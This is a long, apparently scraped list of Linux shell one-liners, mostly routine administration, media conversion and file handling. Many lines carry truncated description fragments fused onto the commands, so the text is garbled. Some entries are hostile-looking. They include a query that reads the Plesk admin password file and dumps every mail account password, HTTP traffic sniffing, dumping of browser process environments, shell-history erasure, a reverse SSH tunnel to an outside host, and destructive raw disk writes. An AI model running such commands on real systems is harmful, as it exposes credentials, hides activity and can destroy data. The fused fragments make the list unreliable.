mplayer $(wget -q -O - "http://europarse.real.com/hurl/gratishurl.ram?pid=eu_aljazeera&file=al_jazeera_en_lo.rm" | sed -e 's#lo.rm#hi.rm#')
sed -n 13p /etc/services
find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc
gcc -dM -E - <<<''
ls -1 |grep -v .jpg |xargs rm
smysqldump -uUSERNAME -pPASSWORD database | gzip > /path/to/db/files/db-backup-`date +%Y-%m-%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \;
bash -x script.sh 2> log
ram() { for i in /tmp /altroot;do mount -t tmpfs tmpfs $i;done&& for i in /var /root /etc $HOME; do find -d $i |cpio -pdmv /tmp&& mount -t tmpfs tmpfs $i&& mv -v /tmp$i/* $i&& rm -vrf /tmp$i ; done ;} usage: (in rc sequence) ram
touch /tmp/$$;for N in `seq -w 0 7777|grep -v [89]`; do chmod $N /tmp/$$; P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$
ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar 22050 output.3gp
y=http://www.youtube.com;for i in $(curl -s $f|grep -o "url='$y/watch?v=[^']*'");do d=$(echo $i|sed "s|url\='$y/watch?v=\(.*\)&.*'|\1|");wget -O $d.flv "$y/get_video.php?video_id=$d&t=$(curl -s "$y/watch?v=$d"|sed -n 's/.* "t": "\([^"]*\)",.*/\1/p')";done
gorecord() { if [ $# != 1 ]; then echo 'gorecord video.mp4' return fi ffmpeg -f x11grab -s <resolution> -r 25 -i :0.0 -sameq -vcodec mpeg4 "$1" }
ncdu directory_name
mmand with root!)cp -pr olddirectory newdirectory
declare -F | cut -d ' ' -f 3
tr '\000' '\377' < /dev/zero | dd bs=512 count=200000 status=noxfer | pipebench | sudo dd of=/dev/sdx
diff -r -u originDir updateDir > result.patch
dump info and iwconfig on wireless interface "wlan0"watch -d -n 3 "iw dev wlan0 station dump; iwconfig wlan0"
find . -name '*.html' -print0| xargs -0 -L1 cat |sed "s/[\"\<\>' \t\(\);]/\n/g" |grep "http://" |sort -u
/usr/sbin/showmount -e <host>
patch -p0 -i result.patch
grep "processor" /proc/cpuinfo | wc -l
diff <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file1) <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file2)
iptables -D fail2ban-SSH -s <ip_address_to_be_set_free> -j DROP
structcp(){ ( mkdir -pv $2;f="$(realpath "$1")";t="$(realpath "$2")";cd "$f";find * -type d -exec mkdir -pv $t/{} \;);}
find ~user/ -name "*~" -exec rm {} \;
awk '!($0 in a) {a[$0];print}' file
vim --version | grep -P '^(\+|\-)' | sed 's/\s/\n/g' | grep -Pv '^ ?$'
cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash
mount -t unionfs -o dirs=/tmp/unioncache=rw:/mnt/readonly=ro unionfs /mnt/unionfs
for i in `seq -f %03g 5 50 111`; do echo $i ; done
mdfor f in *.txt;do mv ${f%txt}{txt,md}; done
df -PH|column -t
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf multipageproject.pdf
cat > list -
xrandr | grep \*
ifconfig $devices | grep "inet addr" | sed 's/.*inet addr:\([0-9\.]*\).*/\1/g'
avimerge -o output.avi -i file1.avi file2.avi file3.avi
svn add . --force
ractercut -f2 -d`echo -e '\x01'` file
cd() { if [[ "$1" =~ ^\.\.+$ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do dir=${dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;}
hostname -I
awk "BEGIN{ print $* }"
lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0; split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in count) { printf("PCI address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[i]) } }'
grep -c -e '^cpu[0-9]\+' /proc/stat
tar dfz horde-webmail-1.2.3.tar.gz
iptraf
eval ls -l /proc/{$(pgrep -d, COMMAND)}/cwd
find -writable
en bytes.dh() { du -ch --max-depth=1 "${@-.}"|sort -h }
find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lh
vim $(grep test *)
a="www.commandlinefu.com";b="/index.php";for n in $(seq 1 7);do echo -en "GET $b HTTP/1.0\r\nHost: "$a"\r\n\r\n" |nc $a 80 2>&1 |grep Set-Cookie;done
ls -l | egrep ^d
wget -O /dev/null http://www.google.com
ps ax --format=pid,eip,esp,user,command
randpw(){ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;}
wget -qO- ifconfig.me/ip
while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*/\1, \2/' >> ./mouse-tracking; sleep 10; done
sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename
mysql -e"SHOW STATUS LIKE '%uptime%'"|awk '/ptime/{ calc = $NF / 3600;print $(NF-1), calc"Hour" }'
if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi
find . -type f -iname '*.wmf' | while read FILE; do FILENAME="${FILE%.*}"; wmf2svg -o ${FILENAME}.svg $FILE; done
ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
setterm -blength 0
p=$(echo "hello world, how r u?"|sed 's/ /+/g');wget -U Mozilla -q -O - "$@" translate.google.com/translate_tts?tl=en\&q=$p|mpg123 -
function ..(){ for ((j=${1:-1},i=0;i<j;i++));do builtin cd ..;done;}
mplayer -vo fbdev -xy 1024 -fs -zoom /path/to/movie.avi
wget -U Mozilla -qO - "http://thepiratebay.org/search/your_querry_here/0/7/0" | grep -o 'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent'
seq 100 | awk '{sum+=$1} END {print sum}'
unrar e file.part1.rar; if [ $? -eq 0 ]; then rm file.part*.rar; fi
mencoder -oac mp3lame -lameopts cbr=128 -ovc xvid -xvidencopts bitrate=1200 inputfile.rmvb -o output.avi
openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3
wget -t inf -k -r -l 3 -p -m http://apod.nasa.gov/apod/archivepix.html
dd if=/dev/sdb | pigz | gpg -r <recipient1> -r <recipient2> -e --homedir /home/to/.gnupg | nc remote_machine 6969
ontain only spaces or tabs.sed -e '/^[<space><tab>]*$/d' somefile
and prints it out.echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l
perl -0777 -ne 'print "$1\n" while /word-a(.*?)word-b/gs' filename.txt
find `echo "${PATH}" | tr ':' ' '` -type f | while read COMMAND; do man -f "${COMMAND##*/}"; done
mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from mail left join domains on mail.dom_id = domains.id inner join accounts where mail.account_id = accounts.id;"
apt-cache dotty PKG-NAME | dot -Tpng | display
lsof -u www-data
gdb --batch --quiet -ex "thread apply all bt full" -ex "quit" ${exe} ${corefile}
cd !$
perl -e 'print scalar(gmtime(1234567890)), "\n"'
find . \( -name '*.h' -o -name '*.cc' \) | xargs grep . | wc -l
unzip '*.zip'
perl -i'.bak' -pe 's/old/new/g' <filename>
ps -o thcount -p <process id>
dpkg --get-selections | grep linux-image
seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}'
sort -k1.x
:!pylint -e %
liner.perl -ne '$sum += $_ for grep { /\d+/ } split /[^\d\-\.]+/; print "$sum\n"'
wget <URL> -O- | wget -i -
d will show you all the string (plain text) values in ramstrings /dev/mem|less
o computer(bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny
ruby -i.bkp -pe "gsub(/search/, 'replace')" *.php
echo notify-send test | at now+1minute
perl -ne 'print "$1 " if /^Host (.+)$/' ~/.ssh/config
ps -p $$
ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9]
git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1 | cut -c1-40` HEAD
units "2048 bytes" "kibibytes"
curl -s http://myip.dk | grep '<title>' | sed -e 's/<[^>]*>//g'
ps -ef | grep c\\ommand
watch lsof -i :80
gur.com, then returning the address of the .png.imgur(){ convert label:@- png:-|curl -F "image=@-" -F "key=1913b4ac473c692372d108209958fd15" http://api.imgur.com/2/upload.xml|grep -Eo "<original>(.)*</original>" | grep -Eo "http://i.imgur.com/[^<]*";}
liveh(){ tcpdump -lnAs512 ${1-} tcp |sed ' s/.*GET /GET /;s/.*Host: /Host: /;s/.*POST /POST /;/[GPH][EOo][TSs]/!d;w '"${2-liveh.txt}"' ' >/dev/null ;} # usage: liveh [-i interface] [output-file] && firefox &
cdrecord -v dev=/dev/cdrom yourimage.iso
psql -U postgres -lAt | gawk -F\| '$1 !~ /^template/ && $1 !~ /^postgres/ && NF > 1 {print $1}'
grep -P '\t' filename
dd if=/dev/cdrom of=~/cd_image.iso
( x=`tput op` y=`printf %$((${COLUMNS}-6))s`;for i in {0..256};do o=00$i;echo -e ${o:${#o}-3:3} `tput setaf $i;tput setab $i`${y// /=}$x;done; )
iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt
cat domainlist.txt | while read line; do echo -ne $line; whois $line | grep Expiration ; done | sed 's:Expiration Date::'
xmms2 mlib search NOT +rating | grep -r '^[0-9]' | sed -r 's/^([0-9]+).*/\1/' | sort -R | head | xargs -L 1 xmms2 addid
aptitude install bash-completion ; source /etc/bash_completion
mkfifo /tmp/fifo; ssh-keygen; ssh-copyid root@remotehostaddress; sudo ssh root@remotehost "tshark -i eth1 -f 'not tcp port 22' -w -" > /tmp/fifo &; sudo wireshark -k -i /tmp/fifo;
xpansions have been done.set -x
sudo apt-add-repository 'deb http://archive.offensive-security.com pwnsauce main microverse macroverse restricted universe multiverse' && wget -q http://archive.offensive-security.com/backtrack.gpg -O- | sudo apt-key add -
find /var -mount -ls -xdev | /usr/bin/sort -nr +6 | more
isatty(){ test -t $1; }
ffmpeg -ss 0:58:15 -i DavidLettermanBlackCrowes.mpg -acodec copy DavidLettermanBlackCrowes.ac3
for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done
sudo find / -iname "*.lproj" -and \! -iname "en*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv
at 6:00 <<< "xmms2 play"
sc queryex type= service state= all | find "_NAME"
pshot' directoryfind . -wholename './.snapshot' -prune -o -print
grep "model name" /proc/cpuinfo
xmodmap -e "pointer = 3 2 1"
echo {1..3}" o'clock" ROCK
(printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d) | column -t
perl -le'print"-"x50'
tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0"
cd ../"$(ls -F ..|grep '/'|grep -A1 `basename $PWD`|tail -n 1)"
find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail
anotherawk '{print $1}' < three-column.txt > first-column.txt
sudo /bin/netstat -tpee
umount -a -t nfs
cd XX YY
rename .JPG .jpg *.JPG
awk '{ if ($1 in stored_lines) x=1; else print; stored_lines[$1]=1 }' infile.txt > outfile.txt
shuf -i 1-49 -n 6 | sort -n | xargs
:source ~/.vimrc
perl -ane 'print unless $x{$F[0]}++' infile > outfile
tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/
watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"
find . -name .svn -type d -exec rm -rf '{}' +
sed -n '/START/,${/STOP/q;p}'
find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>ARCHIVE.gz
netstat -an|grep -ci "tcp.*established"
echo "foo bar" | sudo tee -a /path/to/some/file
system_profiler | mail -s "$HOSTNAME System Profiler Report" [email protected]
sort -t $'\t' -k 2 input.txt
find -iname \*.[ch] -exec emacs -nw -q {} --eval "(progn (mark-whole-buffer) (indent-region (point-min) (point-max) nil) (save-buffer))" --kill \;
mysqldump -u $USER --password=$PASSWORD --add-drop-table --no-data "$DATABASE" | grep ^DROP | mysql -u $USER --password=$PASSWORD "$DATABASE"
ffmpeg -an -f video4linux -s 320x240 -b 800k -r 15 -i /dev/v4l/video0 -vcodec mpeg4 myvideo.avi
ps -C thisdaemon || { thisdaemon & }
mencoder -of rawaudio -ovc copy -oac mp3lame -o output.mp3 input.avi
mplayer dvdnav:// -dvd-device foo.img -mouse-movements
curl -s http://google.com | hexdump -C|less
eval `ssh-agent`; screen
id <username>
ls -l --time-style=+"%Y-%m-%d %H:%M:%S"
curl -d 'username=root&password=your-good-password' "http://router/cgi-bin/luci/admin/system/backup?backup=kthxbye" > `date +%Y%d%m`_config_backup.tgz
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|sed -nr s/'^.*My IP address city: (.+)$/\1/p'
s="StrinG"; echo ${s,,}
find . -name "*.py[co]" -exec rm -f {} \;
sudo sed 's/\o0/\n/g' "/proc/$(pidof -x firefox)/environ" ;# replace firefox
for x in *.ex1; do mv "${x}" "${x%ex1}ex2"; done
wget http://twitter.com/help/test.json -q -O -
ps -o lstart <pid>
cp --backup=t source.file target.file
awk 'NR%3==1' file
rectoryfind . \( -type d -empty \) -and \( -not -regex ./\.git.* \) -exec touch {}/.gitignore \;
du -sk ./* | sort -nr
bargs { while read i; do "$@" "$i"; done }
ringfold -w 78 -s file-to-wrap
screen -ls | grep pts | gawk '{ split($1, x, "."); print x[1] }' | while read i; do gnome-terminal -e screen\ -dx\ $i; done
echo '.dump' | sqlite3 your_sqlite.db > your_sqlite_text.txt
hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso
$EDITOR `perldoc -l Module::Name`
for i in ./*foo*;do mv -- "$i" "${i//foo/bar}";done
tree -dL 1
sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices"
ls /sys/bus/scsi/devices
git checkout -
txtpdftk mydoc.pdf burst
smbclient -U userbob //10.1.1.75/Shared
xev
date +%A | tail -2c
mplayer tv:// -vf mirror
grep -ioE "(url\(|src=)['\"]?[^)'\"]*" a.html | grep -ioE "[^\"'(]*.(jpg|png|gif)" | while read l ; do sed -i "s>$l>data:image/${l/[^.]*./};base64,`openssl enc -base64 -in $l| tr -d '\n'`>" a.html ; done;
paste <(pacman -Q | awk '{ print $1; }' | xargs pacman -Qi | grep 'Size' | awk '{ print $4$5; }') <(pacman -Q | awk '{print $1; }') | sort -n | column -t
convert image123.png -colors 14 -resize 640x480 grubimg.xpm
awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10
$rpl -R oldstring newstring folder
{ rm -f file10 && nl > file10; } < file10
rsync [options] -- * target
convert pagexxx.png -filter Cubic -resize 200% -threshold 50% -compress Group4 pagexxx.tiff; tiff2pdf -z -p letter -ro -x 1200 -y 1200 -o pagexxx.pdf pagexxx.tiff
paste file1 file2 fileN > merged
pv bigdump.sql.gz | gunzip | mysql
sort -R SOMEFILE
sed -i 's|\("browser.startup.homepage",\) "\(.*\)"|\1 "http://sliceoflinux.com"|' .mozilla/firefox/*.default/prefs.js
find . -name "*.jar" | while read file; do echo "Processing ${file}"; jar -tvf $file | grep "Foo.class"; done
su - <user> -s /bin/sh -c "/bin/sh"
sudo bash -c 'echo "GRUB_INIT_TUNE=\"480 165 2 165 2 165 3 554 1 587 1 554 2 370 1 554 1 523 2 349 1 523 1 494 3 165 2 165 2 165 2\"" >> /etc/default/grub && update-grub'
echo "There are $(($(date +%j -d"Dec 31, $(date +%Y)")-$(date +%j))) left in year $(date +%Y)."
ldconfig -p
sleep 5h && rhythmbox path/to/song
PATH=$(cd ${0%/*}; pwd)
statt(){ C=c;stat --h|sed '/Th/,/NO/!d;/%/!d'|while read l;do p=${l/% */};[ $p == %Z ]&&C=fc&&echo ^FS:^;echo "`stat -$C $p \"$1\"` ^$p^${l#%* }";done|column -ts^; }
mogrify -format jpg -quality 80 -resize 800 *.jpg
alias gdbbt="gdb -q -n -ex bt -batch"
dd if=/dev/sdc of=/dev/sdd conv=notrunc & while killall -USR1 dd; do sleep 5; done
wget http://domain.com/file{1..100}
pdftk $* cat output $merged.pdf
mkdir $(printf '%03d\n' {1..100})
tr '\t' '\n' < inputfile
for visa or passport photosmontage 2007-08-25-3685.jpg +clone -clone 0-1 -clone 0-3 -geometry 500 -frame 5 output.jpg
)vlc -vvv http://mafreebox.freebox.fr/freeboxtv/playlist.m3u --sout '#transcode{vcodec=mp2v,vb=384,scale=0.5,acodec=vorbis,ab=48,channels=1}:standard{access=http,mux=ogg,url=:12345}' -I ncurses 2> /dev/null
as the window titlesleep 4; xwd >foo.xwd; mv foo.xwd "$(dd skip=100 if=foo.xwd bs=1 count=256 2>/dev/null | egrep -ao '^[[:print:]]+' | tr / :).xwd"
`!!`
netstat -lnp
ls --quoting-style={escape,shell,c}
rsop.msc
ssh user@host 'gunzip - > file' < file.gz
sort file1.txt | uniq > file2.txt
df -P
echo -ne "\033]0;`id -un`:`id -gn`@`hostname||uname -n|sed 1q` `who -m|sed -e "s%^.* \(pts/[0-9]*\).*(\(.*\))%[\1] (\2)%g"` [`uptime|sed -e "s/.*: \([^,]*\).*/\1/" -e "s/ //g"` / `ps aux|wc -l`]\007"
ssh -T user@server < script.sh
for x in $(eselect bashcomp list | sed -e 's/ //g' | cut -d']' -f2 | sed -e 's/\*//');do eselect bashcomp enable $x --global;sleep 0.5s;done
tr -dc '[:print:]' < /dev/urandom
awk '/regex/{print x};{x=$0}'
awk '/d.[0-9]/{print $4}' /proc/partitions
bc -l <<< s(3/5)
rm -f **/Thumbs.db
gpsbabel -D 0 -i geo -f "/path/to/.loc" -o garmin -F usb:
F="$HOME/.moz*/fire*/*/session*.js" ; grep -Go 'entries:\[[^]]*' $F | cut -d[ -f2 | while read A ; do echo $A | sed s/url:/\n/g | tail -1 | cut -d\" -f2; done
find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u --target-directory {location} &
DISPLAY=:0 /usr/lib/kde4/libexec/krunner_lock --forcelock >/dev/null 2>&1 &
for i in *;do mv "$i" "$(echo $i | sed s/PROBLEM/FIX/g)";done
sdiff file1 file2
ssh user@host 'tar -c --use-compress-prog=pbzip2 /<dir>/<subdir>' > <localfile>.tar.bz2
svn log | tr -d '\n' | sed -r 's/-{2,}/\n/g' | sed -r 's/ \([^\)]+\)//g' | sed -r 's/^r//' | sed -r "s/[0-9]+ lines?//g" | sort -g
apg -a 0 -n 10
printf "%'d\n" 1234567
echo "You can have a bit more realistic typing with some shell magic." | pv -qL $[10+(-2 + RANDOM%5)]
ut)ls -S -lhr
mutt your@email_address.com -s "Message Subject Here" -a attachment.jpg </dev/null
re on the fly)echo "- - -" > /sys/class/scsi_host/host0/scan
netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t", i}'
zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20
xrandr | sed -n 's/ connected.*//p' | xargs -n1 -tri xrandr --output {} --brightness 0.7 --gamma 2:3:4
echo 'hardstatus alwayslastline " %d-%m-%y %c:%s | %w"' >> $HOME/.screenrc; screen
find . -iname '*filename*.doc' | { while read line; do antiword "$line"; done; } | grep -C4 search_term;
netstat -nptl
perl -pi -e 's/\r\n?/\n/g'
sysctl -a | grep vm.swappiness
gpg --keyserver pgp.surfnet.nl --recv-key 19886493
rpm -qif `which more`
tail -f file | while read line; do printf "$(date -u '+%F %T%z')\t$line\n"; done
diff -uw <(fmt -1 {file1, file2})
pstree -Gap
mplayer -fs cdda://9 -ao pcm:file=track9.wav
find ${PATH//:/ } -executable -type f -printf "%f\n"
ersion with RBAC:w !pfexec tee %
On target: "nc -l 4000 | tar xvf -" On source: "tar -cf - . | nc target_ip 4000"
(echo foobar; echo farboo) | perl -E 'say[sort<>=~/./g]~~[sort<>=~/./g]?"anagram":"not anagram"'
ip link | awk '/link/ {print $2}'
vim suite.js -c '%s!/\*\_.\{-}\*/!!g'
grep -Hrli 'foo' * | xargs vim
history -c && rm -f ~/.bash_history
shopt -s nocaseglob
du -ms * .[^.]*| sort -nk1
find $HOME -type f -print0 | perl -0 -wn -e '@f=<>; foreach $file (@f){ (@el)=(stat($file)); push @el, $file; push @files,[ @el ];} @o=sort{$a->[9]<=>$b->[9]} @files; for $i (0..$#o){print scalar localtime($o[$i][9]), "\t$o[$i][-1]\n";}'|tail
printf -v row "%${COLUMNS}s"; echo ${row// /#}
xargs -n1 -P100 -I{} sh -c 'ssh {} uptime >output/{} 2>error/{}' <hostlist
typeset -f <function name>; declare -f <function name>
while :; do acpi -t | osd_cat -p bottom ; sleep 1; done &
seq -f"ftp://ftp.vim.org/pub/vim/patches/7.1/7.1.%03g" 176 240 | xargs -I {} wget -c {};
alias PS1="man bash | sed -n '/ASCII bell/,/end a sequence/p'"
hash -r
ssh-keygen -f ~/.ssh/id_rsa -p
cp --sparse=always <SRC> <DST>
cat /etc/*-release
pkill -n firefox
netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20
file -i * | grep -c 'text/plain'
apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.html|grep -Pom1 'image/\d+/.*\.\w+');}
netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n | grep -c IPHERE
find . | cpio -pumdv /destination
xv() { case $- in *[xv]*) set +xv;; *) set -xv ;; esac }
tail -f file |xargs -IX printf "$(date -u)\t%s\n" X
cat /proc/net/ip_conntrack | grep ESTABLISHED | grep -c -v ^#
x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0; fi; done; strace -vvtf -s 256 -p $process
#INSIDE-host# ssh -f -N -R 8888:localhost:22 [email protected] # #OUTSIDE-host
#ssh user@localhost -p 8888#
perldoc perllocal
lsof -nP +p 24073 | grep -i listen | awk '{print $1,$2,$7,$8,$9}'
pkill -USR1 ^dd$
cat /var/log/auth.log | logtool -o HTML > auth.html
for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoiplookup $i;done
echo 'obase=16; C+F' | bc
echo "- - -" > /sys/class/scsi_host/host0/scan
geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;}
getfacl /mydir
du -a --max-depth=1 | sort -n | cut -d/ -f2 | sed '$d' | while read i; do if [ -f $i ]; then du -h "$i"; else echo "$(du -h --max-depth=0 "$i")/"; fi; done
sed -r "s:\x1B\[[0-9;]*[mK]::g"'
for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done;
currency_convert() { wget -qO- "http://www.google.com/finance/converter?a=$1&from=$2&to=$3&hl=es" | sed '/res/!d;s/<[^>]*>//g'; }
alias lrt='ls -lart'
ls foo*.jpg | awk '{print("mv "$1" "$1)}' | sed 's/foo/bar/2' | /bin/sh
ac -p
isoinfo -d -i filename.iso
username=bartonski;curl -s http://www.commandlinefu.com/commands/by/$username/json|perl -e 'BEGIN{$s=0;$n=0};END{print "Score: $s\nEntries: $n\nMean: ";printf "%3.2f\n",$s/$n}' -0173 -nae 'foreach $f (@F){if($f =~ /"votes":"(-*\d+)"/){$s += $1; $n++;}}'
gconftool-2 --set "/apps/metacity/general/action_middle_click_titlebar" --type string "minimize"
find . -name "*\.php" | xargs grep -o --color "\w\+::\w\+" | cut -d":" -f2 | sort | uniq -c
nohup <command> &
sync && echo 3 > /proc/sys/vm/drop_caches
cut -f 2- -d " "
for a in $(date +"%H%M"|cut -b1,2,3,4 --output-delimiter=" ");do case "$a" in 0)echo "....";;1)echo "...*";;2)echo "..*.";;3)echo "..**";;4)echo ".*..";;5)echo ".*.*";;6)echo ".**.";;7)echo ".***";;8)echo "*...";;9)echo "*..*";;esac;done
lsof -p $(netstat -ltpn|awk '$4 ~ /:80$/ {print substr($7,1,index($7,"/")-1)}')| awk '$9 ~ /access.log$/ {print $9| "sort -u"}'
touch /etc/nologin
cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" [email protected]
read -a A <<<"8 9 5 10 6 0 3 11 7 4";B='.*.**..*....***';for C in $(date +"%H%M"|fold -w1);do echo "${B:${A[C]}:4}";done
if [ `fuser $0|wc -w` -gt "1" ];then exit; fi
watch -n60 --kill -USR1 $(pgrep dd)
sed "s/^ABC/+ABC/" <file | sed "s/DEF$/DEF+/" | tr "\n" "~" | tr "+" "\n" | grep "^ABC" | tr "~" "\n"
sort -n <( for i in $(find . -maxdepth 1 -mindepth 1 -type d); do echo $(find $i | wc -l) ": $i"; done;)
find / -type f -size +1000000000c
lynx -head -dump http://slashdot.org|egrep 'Bender|Fry'|sed 's/X-//'
qmv -fdo
echo string | tr '[:lower:]' '[:upper:]'
ssh user@server 'dd if=sda.img' | dd of=/dev/sda
du | sort -nr | cut -f2- | xargs du -hs
curl -s http://www.commandlinefu.com/commands/by/$1/xml | awk -F'</?div[^>]*>' '/class=\"command\"/{gsub(/"/,"\"",$2); gsub(/</,"<",$2); gsub(/>/,">",$2); gsub(/&/,"\\&",$2); cmd=$2} /class=\"num-votes\"/{printf("%3i %s\n", $2, cmd)}'
find -L . -type l
echo $((`rpm -qa --queryformat='%{SIZE}+' | sed 's/+$//'`))
ls *.jpg | grep -n "" | sed 's,.*,0000&,' | sed 's,0*\(...\):\(.*\).jpg,mv "\2.jpg" "image-\1.jpg",' | sh
sudo mount -o remount,rw /
mkdir $(date +%Y_%m_%d)
ssh root@host1 ?cd /somedir/tocopy/ && tar -cf ? .? | ssh root@host2 ?cd /samedir/tocopyto/ && tar -xf -?
and set it as xfce4 wallpaperwhile :; do xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s "$(find <image-directory> -type f -iregex '.*\.\(bmp\|gif\|jpg\|png\)$' | sort -R | head -1)"; sleep 30m; done
git grep -l "your grep string" | xargs gedit
export PROMPT_COMMAND='echo -ne "\033]0;${PWD/#$HOME/~}\007";'
lsof /dev/snd/pcm*p /dev/dsp | awk ' { print $2 }' | xargs kill
alias sshv='ssh -vvv -o LogLevel=DEBUG3'
rev <<< 'lorem ipsum' | tee /dev/stderr | rev
svn log fileName | sed -ne "/^r\([0-9][0-9]*\).*/{;s//\1/;s/.*/svn cat fileName@& > fileName.r&/p;}" | sh -s
command, resume typing.dd [...] p
sed -i '1s/^/text to prepend\n/' file1
awk '{print > $3".txt"}' FILENAME
echo "8000000/(20*6*86400)" | bc -l
tr ' \t' '\n' <INFILE >OUTFILE
espeak -f text.txt
vimdiff <(svn cat "$1") "$1"
ls -1d */
rm -rf /tmp/playlist.tmp && find ~/mp3 -name *.mp3 > /tmp/playlist.tmp && mplayer -playlist /tmp/playlist.tmp -shuffle -loop 0 | grep Playing
sudo apt-get install linux-headers-$(uname -r)
find . -type f -name "*" -mtime +10 -print -exec gzip {} \;
p(){ printf "\033[%d;%dH\033[4%dm \033[m" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); }; clear;while :;do p; sleep .001;done
awk 'BEGIN{size=5} {mod=NR%size; if(NR<=size){count++}else{sum-=array[mod]};sum+=$1;array[mod]=$1;print sum/count}' file.dat
cowsay Linux rocks!
yum --disablerepo=* --enablerepo=epel list available
mysqldump OLD_DB | cat <(echo "CREATE DATABASE NEW_DB; USE NEW_DB;") - | mysql
find . -type d -maxdepth 1
:%s/old/new/g
cp texfile.toc texfile.toc.bak; latex texfile.tex; cmp -s texfile.toc texfile.toc.bak; if [ $? -ne 0 ]; then latex texfile.tex; fi
echo 1 > /proc/sys/kernel/sysrq; echo b > /proc/sysrq-trigger
touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy
figlet Linux rocks!
and failed<commmand>; if [[ "$?" = 0 ]]; then echo ':)'; else echo ':('; fi
isgd() { /usr/bin/wget -qO - "http://is.gd/create.php?format=simple&url=$1" ;}
ntpdate ntp.ubuntu.com pool.ntp.org
sleep 8h && while [ 1 ] ; do date "+Good Morning. It is time to wake up. The time is %I %M %p" | espeak -v english -p 0 -s 150 -a 100 ; sleep 1m; done
pr -l 40 bitree.c > printcode; split -40 printcode -d page_
curl -d api_key="$api_key" -d user_app_key="$user_app_key -d body="$body" -d post_method="default" http://api.ping.fm/v1/user.post
PROMPT_COMMAND="history -a"
alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i%%.*}.wav" "$i";done;cdrecord -pad ./temp/* && rm -r ./temp'
mysqlcheck -a --auto-repair -c -o -uroot -p [DB]
sar -u 2 5
wget --server-response --spider http://www.example.com/
echo $( du -sm /var/log/* | cut -f 1 ) | sed 's/ /+/g'
tcpdump -nnvvXSs 1514 -i <device> <filters>
sopenssl s_client -connect www.example.com:443 -prexit
